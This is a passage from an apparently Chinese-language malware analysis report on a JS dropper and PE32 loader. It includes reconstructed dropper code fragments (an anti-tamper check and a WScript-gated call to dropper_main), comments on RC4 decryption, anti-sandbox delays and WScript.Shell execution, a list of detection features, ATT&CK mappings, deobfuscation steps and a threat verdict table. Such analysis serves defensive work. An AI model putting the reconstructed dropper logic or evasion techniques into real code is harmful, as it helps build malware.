* @returns {boolean} true = 代码未被篡改
*/
function integrity_check() {
try {
// 原始 JS: 检查自身函数字符串是否匹配预期模式
var fnStr = arguments.callee.toString();
var pattern = /function *\\( *\\)/;
// 原始 JS 还会检查调用栈和构造函数链
if (!pattern.test(fnStr)) {
return false;
}
return true;
} catch (e) {
return false;
}
}
/* ============================================================
* 入口点
*
* 等价于原始 JS 的顶层执行:
* (function(_0x4d2830,_0x2107aa){...}(table, 0x1a8));
* var _0x1c0c = function(idx, key){ return rc4_decrypt(table[idx], key); };
* _0x287e69(); // 创建反调试闭包
* _0x617820(); // RC4 解密引擎
* QKrlnGXjkeObWqtw = ...; // 第二阶段载荷
* 使用 try/catch 配合 setTimeout('', 0x1C0) 实现反沙箱延迟
* _0x617820(decoded_payload); // 解密并执行
* ============================================================ */
// 原始 JS 的初始化: 洗牌 600+ 条目
// 等价简化为直接执行投放逻辑
if (typeof ActiveXObject !== "undefined") {
// 仅在 WScript 宿主中执行
dropper_main();
}
/* ============================================================
* JS 投放器技术总结
*
* 检测特征:
* - 大数组声明 (600+ base64 字符串)
* - RC4 密码函数 (_0x617820)
* - ActiveXObject("WScript.Shell")
* - Function 构造函数检测
* - setTimeout('', 0x1C0) — 448ms 延迟
* - 自修改代码检查
* - eval() + fromCharCode + atob 组合
*
* ATT&CK 映射:
* - T1059.007: JavaScript 执行
* - T1027: 混淆文件/信息 (RC4 + Base64)
* - T1140: 解码/解密 (RC4 字符串表解密)
* - T1497: 沙箱规避 (定时延迟 + 反调试器)
* - T1204.002: 恶意文件执行 (PE 投放)
*
* 去混淆方法:
* 1. 提取 RC4 解密函数 _0x617820
* 2. 提取 base64 字符串表 sgfjohjsjkgkkdkdgfafkdgr_0x2107
* 3. 对每个条目执行 rc4_decrypt(entry, key)
* 4. 替换所有 _0x1c0c(idx, key) 调用为解密字符串
* 5. 移除洗牌逻辑 (shift/push)
* 6. 展开 _0x287e69() 反调试闭包
* ============================================================ */
| Packer | gcc -m32 -c -fsyntax-only | ✅ |
| PE Loader | gcc -fsyntax-only | ✅ |
| JS Dropper | node --check | ✅ |
| 偏移 | 字符串 | 类型 | 用途/含义 | 威胁等级 |
|---|---|---|---|---|
| JS | setTimeout('',0x1C0) → WScript异常→catch触发 | 反沙箱 | 仅WScript宿主执行投放 | 严重 |
| JS | ActiveXObject('WScript.Shell') (RC4解密) | COM对象 | Shell执行—启动PE | 严重 |
| PE | VirtualAlloc(动态解析) | 内存操作 | RWX内存分配 | 高 |
| PE | XOR 0x5A (.data) | 混淆 | 字符串隐藏 | 中 |
?
无
未生成
| 判定结果 | 🔴 恶意 — 手写汇编混淆 PE32 加载器 + JS 投放器 (源码+执行链已还原) |
| 恶意类型 | 加载器/投放器 (双组件, 5层反分析机制) |
| 恶意家族 | Unknown |
| 威胁级别 | 高 (HIGH) |
| 置信度 | 90% — 手写ASM+反调试+HMAC+JS setTimeout反沙箱+ActiveXObject+源码还原 = 90% MALICIOUS。 |
| 关联组织 | 未知 |
| 目标平台 | Windows x86 |
| 感染链位置 | Stage 0 (JS→WScript) → Stage 1 (PE解密Stage2) |
?